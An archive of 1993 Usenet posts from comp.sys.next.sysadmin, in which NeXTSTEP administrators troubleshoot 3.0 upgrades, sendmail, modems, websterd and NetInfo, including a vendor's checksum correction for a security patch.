Chemnitz |
Newsgroups: comp.sys.next.sysadmin From: magnus@Fisher.Stanford.EDU (Magnus Nordborg) Subject: dwrite System PublicWindowServer Message-ID: <1993Jan21.000325.28097@leland.Stanford.EDU> Keywords: Preferences Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Thu, 21 Jan 93 00:03:25 GMT When the "Preferences" application sets "System PublicWindowServer" WorkSpace immediately becomes aware of the change. Not so when it is changed via "dwrite". Is there a way to update whatever needs to be updated from a shell? -- Magnus Nordborg Department of Biological Sciences Stanford University magnus@fisher.stanford.edu (NeXT mail preferred)
From: amm@NeXT.COM (Alan M. Marcum) Newsgroups: comp.sys.next.sysadmin Subject: Re: CERT Advisory: NeXT NetInfo "_writers" [bug in writersfix] Message-ID: <6321@rosie.NeXT.COM> Date: 20 Jan 93 21:36:18 GMT Sender: news@NeXT.COM There's a small bug in writersfix. Nuts. Thanks, though, to Mat Hostetter at MIT who found it and told me about it. The bug: rFlag gets set to -r instead of -remove. There's a new verision of WritersFix.compressed on NeXT.COM. The new checksum for the file is 52703 6. My red-faced apologies: I made a late change to some things I'd already tested, and neglected, in the rush of it all, to do proper regression testing. -- Alan M. Marcum NeXT Tech Support amm@NeXT.COM
From: knudsens@newton.ccs.tuns.ca (Steven K Knudsen) Newsgroups: comp.sys.next.sysadmin Subject: Can I connect to a PC network running NetWare Lite ? Message-ID: <1993Jan20.221129.3454@newton.ccs.tuns.ca> Date: 20 Jan 93 22:11:29 GMT Distribution: na Organization: Technical University of Nova Scotia, Halifax, N.S. The title says it all. We want to connect to a PC NetWare Lite network to use their printers. I've read the NeXTStep 3.0 info on NetWare and have tried it that way, but no luck. Do any kind souls have advice for me...? Please e-mail responses. If interest is sufficient, I'll summarize. Thanks, Steven Knudsen knudsens@tuns.ca -- K. Steven Knudsen | The lasers are in the labs, the old TUNS | man is dressed in white clothes. Department of Electrical Engineering | Everybody says that he's mad - knudsens@tuns.ca | Nobody knows the things that he knows.
From: kline@cs.arizona.edu (Nick Kline) Newsgroups: comp.sys.next.sysadmin,comp.dcom.modems Subject: strange Zyxel modem problem Message-ID: <30203@optima.cs.arizona.edu> Date: 20 Jan 93 22:59:43 GMT Sender: news@cs.arizona.edu Followup-To: comp.dcom.modems I have a next 68040 cube running OS 3.0 with a zyxel 1496E modem running 5.02 Roms. I have a strange problem. I get line noise and then the modem eventually hangs up. One way to cause the problem is to log on at 9600 baud and cat a large file. After a while it seems to overrun the capabilities of the computer. I am using all the default setting on the Zyxel, and have a proper 68040 modem cable that worked before with a 2400 baud modem. Another strange problem. Sometimes, it transmits some characters incorrectly or they don't appear. The modem claims a 9600/ARQ/v42.b connection, which I thought mean error correction. After it kind of hiccups and doesn't transmit a few characters, sometimes I interrupt the modem with 3 '+' and then type ati2, which is supposed to dump the stat. Sometimes, the stats do not print out correctly on the screen! Its like the modem is sending the wrong stuff, or there is a problem with the cable. I don't think I have a problem with the cable, as it worked fine for a year. Its just that all kind of funky chars print out instead of the ati2 info. I have tried all of the various tests discussed in the manual. Nothing comes of them. Earlier this year my modem worked fine also. Nothing has really changed since then, it just doesn't work. Any ideas? Someone has offered to swap modems with me (a diff. brand of 9600 baud and I could try that). After reading this, it looks like the problem could be: a. bad cable b. bad modem. The system I'm calling is a unix box, actually a cisco router which calls the unix box. I have also called another terminal server which connects to unix boxes and have verrified the same kind of problems. thanks for any help --nick kline@cs.arizona.edu
From: nevai@ops.mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: Re: websterd under 3.0 Date: 21 Jan 1993 00:35:36 GMT Organization: Department of Mathematics, The Ohio State University Message-ID: <1jkr4oINN1uu@zaphod.mps.ohio-state.edu> References: <1993Jan20.010424.4539@cybernet.cse.fau.edu> <C15sy5.I8q@news.cso.uiuc.edu> In article <C15sy5.I8q@news.cso.uiuc.edu> s-hinkle@uiuc.edu writes: > >In article <1993Jan20.010424.4539@cybernet.cse.fau.edu>, tom@cse.fau.edu (Tom Horton) writes: >> Does websterd work for NeXTSTEP 3.0? I have ftp'd the files from >> iuvax.cs.indiana.edu, and while there's a directory there for 1.0 and 2.0, >> no mention of 3.0. I also see that the dictionary and thesaurus file names >> used to end in .nxbf under 2.1 and they don't under 3.0. >> >> Since the instructions seem to be 2.0 specific, I haven't actually tried >> setting it up on our 3.0 machine. What's the story? > > >It doesn't work. (At least not as far as I know.) I tried to get it to run, but >there seems to be some differences in the dictionary format as well as the file >names. > It works on mine! I simply copied my .nxbf files from 2.1 to 3.0. They are huge files but something for something. Look: ops~ 2429: l /NextLibrary/References/Webster-Dictionary total 54791 -rw-r--r-- 1 root 14262272 Mar 27 1992 CompactDictionary -rw-r--r-- 1 root 21299200 Mar 27 1992 Dictionary -rw-r--r-- 1 root 20258816 Oct 22 1990 Dictionary.nxbf -rw-r--r-- 1 root 196602 Oct 25 1990 codebook drwxr-xr-x 2 root 1024 Mar 28 1992 info/ drwxr-xr-x 2 root 21504 Jul 2 1991 pictures/ drwxr-xr-x 2 root 1024 Jul 2 1991 tiff/ ops~ 2430: l /NextLibrary/References/Webster-Thesaurus total 6568 -rw-r--r-- 1 root 3399680 Mar 27 1992 Thesaurus -rw-r--r-- 1 root 3309568 May 14 1992 Thesaurus.nxbf Take care...Paul P.S. Oh yes, dont' forget this either: /etc/inetd.conf: webster stream tcp nowait nobody /usr/local/etc/websterd websterd -l -n 128.146.88. Paul Nevai pali+@osu.edu Department of Mathematics nevai@mps.ohio-state.edu The Ohio State University nevai@ohstpy.bitnet 231 West Eighteenth Avenue 1-614-292-3317 (Office) Columbus, Ohio 43210-1174 1-614-292-5310 (Answering Machine) The United States of America 1-614-292-1479 (Math Dept Fax)
From: amm@NeXT.COM (Alan M. Marcum) Newsgroups: comp.sys.next.sysadmin Subject: Re: CERT Advisory: NeXT NetInfo "_writers" [bug in writersfix] Message-ID: <6324@rosie.NeXT.COM> Date: 21 Jan 93 00:18:33 GMT References: <6321@rosie.NeXT.COM> Sender: news@NeXT.COM Let's try to get it right this time. Next time I'll take a bit more time the first time. (Did that make sense?) The correct checksum for WritersFix.compressed on NeXT.COM is 25625 6. (The file is in ~ftp/pub/Misc/Utilities.) Once again, apologies. I hope this is the last one; else, I might have to do something silly like hang myself upside-down from the rafters in penance. -- Alan M. Marcum NeXT Tech Support amm@NeXT.COM
From: shuque@spectre.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: 17" Fimi Color Monitor Problems - Help! Message-ID: <105881@netnews.upenn.edu> Date: 21 Jan 93 00:03:03 GMT Sender: news@netnews.upenn.edu Followup-To: comp.sys.next.sysadmin Organization: University of Pennsylvania The 17" Color Monitor (old Phillips variety, not Sony) on my Color NeXTstation is dying. It was purchased in September '92 and only had a 3 month warranty and I can't afford to have it repaired. Here are the symptoms: since yesterday the screen has been periodically blanking out completely. Occasionally it will return to normal after some time, occasionally I have to reboot, occasionally it wont reappear for hours. There is also an occasional flicker on the screen which I have always had to a varying degree, but it did not bother me much, so I disregarded it. The flickering seems to have increased lately. I am not a hardware person, so I thought I would ask for suggestions, before attempting surgery myself :) I am completely incapacitated without it and desperately need it back .. ! Has anyone else seen such problems before? Shumon Huque --shuque@spectre.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Explanation of message during boot? Message-ID: <C16MFq.E1t@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <shmuli.727478601@techunix.technion.ac.il> <14.UUL1.3#16216@corona.wa.com> Date: Thu, 21 Jan 1993 02:18:48 GMT pkron@corona.wa.com (Peter Kron) writes: >> From: shmuli@techunix.technion.ac.il (Shmuel Browns) >> >> All of a sudden (or at least I never noticed it before), I get a message >> right at the end of the boot sequence: >> Windowserver Problem starting the NeXTdimension.psdrvr routine... >The message is in error and, I believe, harmless. I have seen it regularly >on color NextStations and it caused no harm. (You probably just never >noticed it.) Yes, this is simply a warning stating that you do not have an ND board. It has been 'fixed' in 3.0 (you no longer see the message). It is harmless unless you do indeed have an ND board. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: hashton@twics.co.jp (HUGH ASHTON) Newsgroups: comp.sys.next.sysadmin Subject: Help wanted with sendmail, please Message-ID: <35946@twics.co.jp> Date: 20 Jan 93 12:19:05 GMT Organization: TWICS, Tokyo, Japan Forgive me if this is a FAQ, but I've been out of circulation on the news for some time now (I haven't set up a successful news feed, and I haven't had time to read the news on-line). We have network of NeXTs (3.0) with a uucp link to a BBS which can forward mail. The NeXT connected to the modem (techw1) also acts as the mail server (aliased as mailhost) for the network. We also have a few point-to-point uucp links to different sites round the world. We can successfully address mail to bar!foo (direct addressing to a uucp neighbour) from any host on our LAN. All non-mailhost hosts are running the unmodified /etc/sendmail/sendmail.sharedsubsidiary.cf, having been set up in the NetInfo locations of the root NetInfo domain. I noticed that when I sent mail from the mailhost to foo@bar.com, this ended up in the uuq as being addressed to bar.com!foo. OK - a little hacking later, and I'd fixed that problem. However, non-mailhost hosts still have the same problem. Fine, delve into all the relevant documentation (a really good explanation - IMHO - is given in "UNIX System Administration Handbook" (Nemeth, Snyder, Seebass, pub. Prentice Hall) and make a new mailer (totwics) specifically for the BBS which calls a ruleset to convert the misaddressed mail. Fine so far... techw1> mail -v foo@bar.com Subject: foo bar Cc: foo@bar.com... Connecting to twics (totwics)... foo@bar.com... Sent which shows up in /usr/spool/mqueue/syslog as: Jan 20 11:48:25 techw1 sendmail[14831]: AA14831: from=hashton, size=31, class=0, received from local Jan 20 11:48:26 techw1 sendmail[14831]: AA14831: to=foo@bar.com, delay=00:00:01, stat=Sent and in the uuq as... twics: 1 job, 367 bytes, 0.1 minutes (@ effective baudrate of 840) 0684 2 hashton 367 0.1 Jan 20 11:48 S rmail foo@bar.com Now, if I try to send mail from another host... techw3:1# mail -v foo@bar.com Subject: foo bar EOT foo@bar.com... Connecting to mailhost (etherl)... 220 techw1. Sendmail NX5.67c/NX3.0M ready at Wed, 20 Jan 93 11:51:49 +0900 >>> HELO techw3. 250 techw1. Hello techw3. (techw3), pleased to meet you >>> MAIL From:<hashton> 250 <hashton>... Sender ok >>> RCPT To:<foo@bar.com> 250 <foo@bar.com>... Recipient ok >>> DATA 354 Enter mail, end with "." on a line by itself >>> . 250 Ok >>> QUIT 221 techw1. closing connection foo@bar.com... Sent This shows up on techw3 (non-mailhost) in /usr/spool/mqueue/syslog as Jan 20 11:51:49 techw3 sendmail[633]: AA00633: from=hashton, size=31, class=0, r eceived from local Jan 20 11:51:50 techw3 sendmail[633]: AA00633: to=foo@bar.com, delay=00:00:01, s tat=Sent but on techw1 (mailhost)'s /usr/spool/mqueue/syslog as: Jan 20 11:51:50 techw1 sendmail[14846]: AA14846: from=<hashton>, size=161, class =0, received from techw3 (192.42.172.3) Jan 20 11:51:51 techw1 sendmail[14848]: AA14846: to=<foo@bar.com>, delay=00:00:0 1, stat=Sent Note the new angle brackets around the address. uuq lets me know that this mail has been parsed as: 0694 2 hashton 460 0.1 Jan 20 11:51 S rmail bar.com!foo It's also obvious (by the addition of a debug rule in sendmail.mailhost.cf such as $* $:$1TESTING!!! this is just a test that the recipient address of mail from techw1 goes through my new ruleset, but not if the mail is sent from another host. Does anyone have any clues how to force the mail from another host through a specific mailer? I will *try* to read this newsgroup, but I don't promise that I'll have the time. Anyone who has met a similar problem, and is willing to help, please send E-mail (including NeXTMail) to me (I'll post a summary): | Hugh Ashton | | Tel:+81-53-435-3553 Fax:+81-53-435-3356 | | SnailMail:Crestec Inc., 676 Kasaishinden-cho, | | Hamamatsu-shi 431-31, Japan | | NextMail welcome | +------------------- --------------------------------------+ | hashton@crestec.twics.co.jp | +---------------------------------------------------------+
Newsgroups: comp.sys.next.sysadmin From: garyc@eecs.nwu.edu (Gary I. Chang) Subject: Running Quotation and Webster from CD-ROM drive Message-ID: <1993Jan21.024935.9455@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA Date: Thu, 21 Jan 1993 02:49:35 GMT Hi, Since I have a permanent NeXT CD player attached to my NSC, I have decided to delete Quotation from my internal HD to save more space for life. When I was trying to bring up Quotation from the CD-ROM copy of Quotation, I got a error alert panel saying "Couldn't open the Quotation index (/NextLibrary/Reference/OxfordQuotation//.index/index)"...... How do I deal with this? Can I just keep the index files of the Quotation and Webster on my tiny 406 MB HD and leave the big guys on the CD-ROM where it's nice and warm all the time? Thanks, Gary -- +----------------+ | Gary I. Chang | +----------------+ Northwestern Univ. E-Mail: garyc@eecs.nwu.edu
Newsgroups: comp.sys.next.sysadmin From: matt@crawfish.math.tulane.edu (Matt Hopkins) Subject: dot matrix apple imagewriter printer Nntp-Posting-Host-[nntpd-24447]: crawfish.math.tulane.edu Message-ID: <1993Jan21.055302.24487@cs.tulane.edu> Sender: news@cs.tulane.edu Organization: Math dept., Tulane University Date: Thu, 21 Jan 1993 05:53:02 GMT An ImageWriter has fallen into my lap... I'm wondering what I have to do to install it as a printer on my NeXTStation. I've looked through manuals, FAQ's, and NeXTAnswers to no avail. I hook it up to the serial port, but then what? For a start, I suppose I need to find a printcap entry from somewhere... Anyone got one? If there is no clean way, is there a hack of some sort I can do? Please respond via e-mail (NeXTMail is fine), and I'll summarize to the net if there is sufficient interest. Matt -- matt@crawfish.math.tulane.edu (NeXT Mail accepted!) Matt Hopkins - Tulane University - Dept of Mathematics - New Orleans "Do you hate people?" "No ... but I seem to feel better when they're not around." - Barfly "Hey mister! Throw me some beads!"
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Re: Running Quotation and Webster from CD-ROM drive Message-ID: <HARDY.93Jan20224909@golem.ps.uci.edu> In-reply-to: garyc@eecs.nwu.edu's message of Thu, 21 Jan 1993 02:49:35 GMT Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA References: <1993Jan21.024935.9455@news.acns.nwu.edu> Date: 21 Jan 93 06:49:08 GMT In article <1993Jan21.024935.9455@news.acns.nwu.edu> garyc@eecs.nwu.edu (Gary I. Chang) writes: ??? Since I have a permanent NeXT CD player attached to my NSC, I have ??? decided to delete Quotation from my internal HD to save more space for ??? life. ??? ??? When I was trying to bring up Quotation from the CD-ROM copy of ??? Quotation, I got a error alert panel saying "Couldn't open the Quotation ??? index (/NextLibrary/Reference/OxfordQuotation//.index/index)"...... ??? ??? How do I deal with this? Can I just keep the index files of the ??? Quotation and Webster on my tiny 406 MB HD and leave the big guys on the ??? CD-ROM where it's nice and warm all the time? I am planning to do the same when (if) NeXT ever deivers the CD-ROM drive (ordered in August!). I would just make a sym-link of the OxfrodQutation directory on the CD to /NextLibrary/Reference (I now have sym-links to NFS-mounted Documentation over SLIP) -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Re: Upgrading NeXTstations w/ only 100Mb disks (clients)? Message-ID: <1993Jan20.192934.658@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center References: <FAB9452.93Jan19153325@nigel.tamu.edu> Distribution: comp Date: Wed, 20 Jan 93 19:29:34 GMT In article <FAB9452.93Jan19153325@nigel.tamu.edu> fab9452@nigel.tamu.edu (Allan Bailey) writes: > > Help! :-) > > I keep running out of disk space on these puppies. > > I have a server that exports most stuff to the clients. But the > Upgrade_3.0.app slurps up the disk space via the /private/vm/swapfile > growth phenomenon. > > Is there anyway to make swapfile stay put? Maybe if i just deleted it..... > > any help would be greatly appreciated. > > > > -- > Allan Bailey, UNIX programmer, CSC | > fab9452@nigel.tamu.edu | or: nefud-the-delirious@tamu.edu > 616c6c616e206261696c6579 | What I have been doing is booting the client as a NetBoot client from the server then using BuildDisk on the client's disk to upgrade. I do not keep files on the clients so this works for me. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.sysadmin From: dpryce@llewella.uchicago.edu (Steven Schwartz) Subject: System Accounting Message-ID: <1993Jan21.085839.11151@midway.uchicago.edu> Keywords: Accounting, Monitoring Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Date: Thu, 21 Jan 1993 08:58:39 GMT O.K. Here's the problem: Our boss has informed us that he would like, please, an idea of usage on a 15-NeXT cluster, including when people are logged on, what they're using, etc. For the entire 19 hours a day the site is open. Joy. Rapture. Now, the question. Anyone know of any programs, shell scripts, hacks, or suchlike that will permit us to do this without doing w to file and awk-correlating every week? Help (or pre-existing w+awk scripts) (or scripts of *anything* that would work, for that matter) would be greatly appreciated. Steven E. Schwartz ses3@amber.uchicago.edu
From: mikael@scout.utexas.edu (Mikael Behrens) Newsgroups: comp.sys.next.sysadmin Subject: mail bouncing setup Message-ID: <86586@ut-emx.uucp> Date: 21 Jan 93 17:25:32 GMT Sender: news@ut-emx.uucp Distribution: usa Howdy, I have a mono NeXTstation hooked up to the Internet via SLIP. I have working NeXTMail, but it's kind of a hack since my SLIP server doesn't give out permanent IP addresses. I receive all my mail to another machine, and have a shell script that periodically brings up the SLIP connection and copies my mailbox file over to my machine. I have a problem with bouncing mail: it doesn't. When I send a mail message to a non-existant address, I never hear from it again. I believe this is because the address in the "From:" field in my email messages and usenet posts is bogus. My correct address is in the "Reply-to:" field. When a message bounces does it automatically try to return to the "From:" field? Can I make it return to the "Reply-to:" field by changing my sendmail.cf file or something? Any help is appreciated. -- Mikael Behrens mbehrens@cs.utexas.edu (NeXTMail OK) Computer Science student University of Texas at Austin
Newsgroups: comp.sys.next.sysadmin From: gary@nshade.uah.ualberta.ca (Gary Ritchie) Subject: Slow 3.0 Network Message-ID: <1993Jan21.174416.1252@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Thu, 21 Jan 1993 17:44:16 GMT We recently upgraded a network of 41 turbo machines (monos) to 3.0, and are having SERIOUS performance problems. When large numbers of people log in at the same time, it takes up to fifteen minutes for them to get Mathematica launched. This is at least 3 times slower than the same operation under 2.2. It seems that every time a user logs in, the Workspace does its scan of application directories, services, etc. Isn't it supposed to only do this the first time you log in, and cache it? Each machine is mounting a couple directories from a single file server: /Users and /LocalApps. The netinfo server is also the file server AND the mail server, but this was also the case under 2.2. There is also a clone netinfo server. Any ideas, hints, suggestions? We've been instructed to upgrade the network to 2.2 if we can't find a solution soon :-).
Newsgroups: comp.sys.next.sysadmin From: barry@ictv.com (Barry Lustig) Subject: NeXTs running 3.0 *cannot* swap to a raw partition Message-ID: <1993Jan21.195003.6023@ictv.com> Sender: usenet@ictv.com Organization: ICTV, Santa Clara, CA (408) 562-9200 Date: Thu, 21 Jan 1993 19:50:03 GMT There has been speculation recently about whether a NeXT can swap to a raw partition or not. I decided to do a little research on this point and found out that you cannot. The reason for this should be clear from the following: Current directory is / Reading symbol data from sdmach... (no debugging symbols found)...done. (gdb) disassemble swapon Dump of assembler code for function swapon: 0x4068288 <swapon>: rts End of assembler dump. (gdb) NeXT removed the code for the swapon system call from the kernel. They would have made life a lot easier for people if they also removed the call from the system library. barry --
Newsgroups: comp.sys.next.sysadmin From: heller@heller.slip.uiuc.edu (Helmut Heller) Subject: Re: websterd under 3.0 References: <1jkr4oINN1uu@zaphod.mps.ohio-state.edu> Message-ID: <C17ynx.K3I@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana Date: Thu, 21 Jan 1993 19:40:43 GMT In article <1jkr4oINN1uu@zaphod.mps.ohio-state.edu> nevai@ops.mps.ohio-state.edu (Paul Nevai) writes: > It works on mine! I simply copied my .nxbf files from 2.1 to 3.0. They are > huge files but something for something. Hello, this may be an FAQ, but I could not find any mentioning in the NeXT manuals: what is websterd ????? is it a daemon? and what advantage has it over having the webster-files on your local hard drive? any hints very welcome! -- Servus, Helmut (W9/DH0MAD) ______________NeXT-mail preferred________________ heller@lisboa.ks.uiuc.edu "Knowledge must be gathered and cannot be given" FAX: (217)244-6078 ZEN, one of BLAKES7 Phone: (217)244-6914 ------------------------------------------------- Helmut Heller, University of Illinois at Urbana-Champaign, Beckman Institute Theoretical Biophysics Group, Room 3143, MC 251
Newsgroups: comp.sys.next.sysadmin From: ph@pencom.com (Patrick Hester) Subject: Re: HELP! System ALWAYS does disk check Message-ID: <1993Jan21.192429.14649@pencom.com> Sender: usenet@pencom.com (News system) Organization: Pencom Systems Incorporated References: <1993Jan20.182431.14426@leland.Stanford.EDU> Date: Thu, 21 Jan 1993 19:24:29 GMT >> lots of deleted stuff re:clients doing fsck << I've got a standalone system which does a full check after I run SoundWorks. I do a proper shutdown, but most of the time if I ran SoundWorks, the next boot is dirty. I'm on 3.0 and did not have SW in my 2.x days so I don't know if this is a 3.0 problem or what. But something is hosed. -- Patrick Hester ph@pencom.com (212) 513-7777 NeXT Mail OK =8(\/\)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: lemke@MITL.COM (Kennedy Lemke) Subject: Dove Fax modem installation problems Message-ID: <1993Jan21.225205.28445@MITL.COM> Originator: lemke@narnia.MITL.COM Sender: news@MITL.COM Organization: Matsushita Information Technology Laboratory, Princeton, NJ Date: Thu, 21 Jan 1993 22:52:05 GMT Hello-- I'm trying to re-install the driver and accompanying software for our DoveFax modem on one of our NeXTs since upgrading the OS to 3.0. Running Installer.App on the original pkg file on the floppy seems to do the right thing in terms of copying the driver files into place. But the problem occurs when I use the print manager to try to add the modem. I bring up print manager and select "Fax Modems". The fax modem panel comes up blank. I select "Create" and the Create Panel comes up. I use their suggested name: "Local_Fax_Modem" (which is what the fax modem was named before). I use the create panel to configure the modem to my liking, then when I click "OK", I get an error panel that says the modem already exists. The create panel then disappears, and the new entry never appears in the list of fax modems. I have used niutil -destroy to manually remove the entries referring to entry this from the netinfo database. I have also removed the old spool directory: "/usr/spool/NeXT/Local_Fax_Modem" but I still get the "already exists" error message. I have also tried creating the modem with another name (which works) then attempted to use "modify" to name the modem what I really want, but this also doesn't work--same error message. It'd be possible (but major-ly inconvenient) for me to use a different name. I'd like to know what needs to be done (e.g. what entry from what file or netinfo database needs to be removed or what directory needs to be deleted) in order for the print manager to no longer think that "Local_Fax_Modem" already exists. I'd appreciate any pointers (checked the FAQs and recent articles but did not find any helpful information). Thank you. Kennedy Lemke , , ___ ______ Computer Systems Manager /| /| / / / Postmaster && Domain administrator && / | / | / / / News administrator && Network adminstrator / | / | / / / Matsushita Information Technology Laboratory / |/ | _/_ / /____ 182 Nassau Street, Third Floor Work Phone: (609) 497-4600 Princeton, New Jersey 08542 Fax Phone: (609) 497-4013 Email: lemke@MITL.COM
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: lemke@MITL.COM (Kennedy Lemke) Subject: Problems with "open" and "pwd" commands Message-ID: <1993Jan21.230936.28745@MITL.COM> Originator: lemke@narnia.MITL.COM Sender: news@MITL.COM Organization: Matsushita Information Technology Laboratory, Princeton, NJ Date: Thu, 21 Jan 1993 23:09:36 GMT Hello. Two problems since our upgrade to 3.0: Problem #1: The "open" command. We use an automount entry for home directories that looks like this: /usr/etc/autonfsmount -tm 10 -tl 43200 -a /private /u userhomes "userhomes" is an nis map (yes, the nexts are running yp) that maps user names to hostname/directory paths. All user accounts, regardless of which disk they actually live on, can be accessed from any of our machines by accessing "/u/username". This has worked (and is still working) just fine. The problem occurs under version 3.0 with the "open" command. For example: [158]aslan--> open .bashrc open: can't stat file: /auto4000143/.bashrc [159]aslan--> open /u/lemke/.bashrc <---THIS ONE WORKS [160]aslan--> So you can't use the "open" command to access a directory in your home directory without specifying an absolute pathname that starts with "/u". Under 2.{1,2}, the "open" command worked fine. If you're in your home directory and you say "pwd", what returns is something like "/private/auto4000143". The "open" command clearly appears to be leaving off the "/private" part of the pathname when trying to open file. Anyone know why? Problem #2: using "bash" version 1.12, "pwd" (which is not aliased to anything) gives strange behavior. Sometimes it says the "right" thing; other times it returns an empty line. For example: [140]aslan--> pwd /private/auto4000143 [141]aslan--> pwd [142]aslan--> pwd [143]aslan--> pwd /private/auto4000143 [144]aslan--> Anyone know why? Thank you. Kennedy Lemke , , ___ ______ Computer Systems Manager /| /| / / / Postmaster && Domain administrator && / | / | / / / News administrator && Network adminstrator / | / | / / / Matsushita Information Technology Laboratory / |/ | _/_ / /____ 182 Nassau Street, Third Floor Work Phone: (609) 497-4600 Princeton, New Jersey 08542 Fax Phone: (609) 497-4013 Email: lemke@MITL.COM
Newsgroups: comp.sys.next.sysadmin Subject: Can't ftp out of area correctly Message-ID: <1993Jan21.014442.119779@marshall.wvnet.edu> From: mth011@marshall.wvnet.edu Date: 21 Jan 93 01:44:42 -0500 Organization: Marshall University For some unknown reason the NeXT lab here doesn't allow ftp or telnet out of the local lan. If, though, I telnet to the first next, then I can ftp or telnet anywhere. Why can't I do it from the individual machines? Please leave email. Thanks,
From: kline@cs.arizona.edu (Nick Kline) Newsgroups: comp.dcom.modems,comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: strange Zyxel modem problem Message-ID: <30288@optima.cs.arizona.edu> Date: 22 Jan 93 00:17:11 GMT References: <30203@optima.cs.arizona.edu> <WBE.93Jan20215902@crystal.bbn.com> <C17x0p.JwI@panix.com> Sender: news@cs.arizona.edu Followup-To: comp.dcom.modems Organization: U of Arizona CS Dept, Tucson >> my problem: I seem to overflow my modem or have some strange flow >> control problem > >>The default flow control on many UNIX systems is XON/XOFF. Check the serial >>port setup and see if "crtscts" (RTS/CTS) is enabled. Alternatively, if >>you're logged in via the port, try "stty -a", look at the end of the second >>line, and see if it says "crtscts" or "-crtscts". > >And while we are listing all the things that could conceivably be the >problem -- is there any chance the modem cable fails to provide >RTS/CTS? That is, does it only have two data lines and a ground line? >If so, and if the modem were set to hardware flow control rather than >XON/XOFF flow control, that could be your problem. > >I vaguely recall the ZyXEL defaults to RTS/CTS flow control rather >than XON/XOFF. So you would ideally want to be sure you have a cable >that carries those signals, and you would want to configure the >serial port on the computer to use RTS/CTS flow control. > zyxel uses rts/cts as the default flow control. the command to do this is &h3. I have done that. In the modem book, it says for the command &R0 or &R1: rts options &r1 : modem assumes rts always on, ignores the changes &r0 : delay before cts responds to rts's change &r1 is the default. but after this, it says "This setting is ignored in async mode. rts is always used as a hardware flow control in this case". So it seems not to matter. I tried it anyway and it made no difference. I also tried the other &h settings, for xon/xoff and no flow control and rts/cts all made no difference Thanks for all the suggestions. I do have a correct modem cable. For you next people, I bought it at NextConnection as a 68040 modem cable. I verified today that the rts/cts lines are connected as they should be. I did this by looking at the file about.modem.z, which describes the match ups. So it is not the cable. Then I tried cufb, thinking that perhaps I had a bad cufa port. This did not fix the problem. I know I am using rts/cts on the computer side since I am using cufa, a port which explicitly uses rts/cts, right? Let me give a more detailed example of how it crashes: I can make it overrun things by catting a large file on the machine i am connected to. After a while the modem starts to "retrain" (the hs light flashes) and it either gives up or makes it (50/50 chance). Often at this point I "+++" the modem and type ati2, the command which prints out the state of the modem. Sometimes, the info, which is perhaps 15 lines long, is screwed up, in that some parts of it don't come through. Other times, the modem goes crazy, and the read_data light becomes constant as it sends tons of garbage to my screen. Note that this is all in command mode. Nothing should get to the screen when I am typing at commands. For the next person with a zyxel, when your rts/cts stuff is working, does the cts light ever blink or dim(because it was off for a sec?)? I ask this because mine is steady as a rock. I am going to try to find someone with a 9600 buad modem and swap and see if we still have problems. -nick kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin From: CCGREG@mizzou1.missouri.edu (Greg Johnson) Subject: Great book on NFS Sysadmin Message-ID: <16B5E779A.CCGREG@mizzou1.missouri.edu> Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: Fri, 22 Jan 93 08:30:17 CST I just ran across a book that I wish I had seen much earlier. It not only describes how NFS works, but is loaded with diagnostic and problem-solving tips. The NIS material if not useful at least makes me feel more appreciative of NetInfo. The book is: _Managing_NFS_and_NIS_, by Hal Stern, O'Reilly & Associates, Inc. Copyright 1991, reprinted April 1992 with minor corrections. ISBN 0-937175-75-7. This 436-page paperback cost around $28. This & other O'Reilly books I highly recommend for Unix Sysadmins.
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Great book on NFS Sysadmin Message-ID: <C19JBD.n21@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <16B5E779A.CCGREG@mizzou1.missouri.edu> Date: Fri, 22 Jan 1993 16:04:11 GMT CCGREG@mizzou1.missouri.edu (Greg Johnson) writes: >I just ran across a book that I wish I had seen much earlier. It not only >describes how NFS works, but is loaded with diagnostic and problem-solving >tips. The NIS material if not useful at least makes me feel more >appreciative of NetInfo. The book is: > >_Managing_NFS_and_NIS_, by Hal Stern, O'Reilly & Associates, Inc. Copyright >1991, reprinted April 1992 with minor corrections. ISBN 0-937175-75-7. I have this book and highly recommend it as well, but I read in OS Today recently that he is going to issue a new edition sometime this year that will cover NIS+. No big deal to most NeXT people but if you have to manage (gag) Solaris systems, be on the lookout for it. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
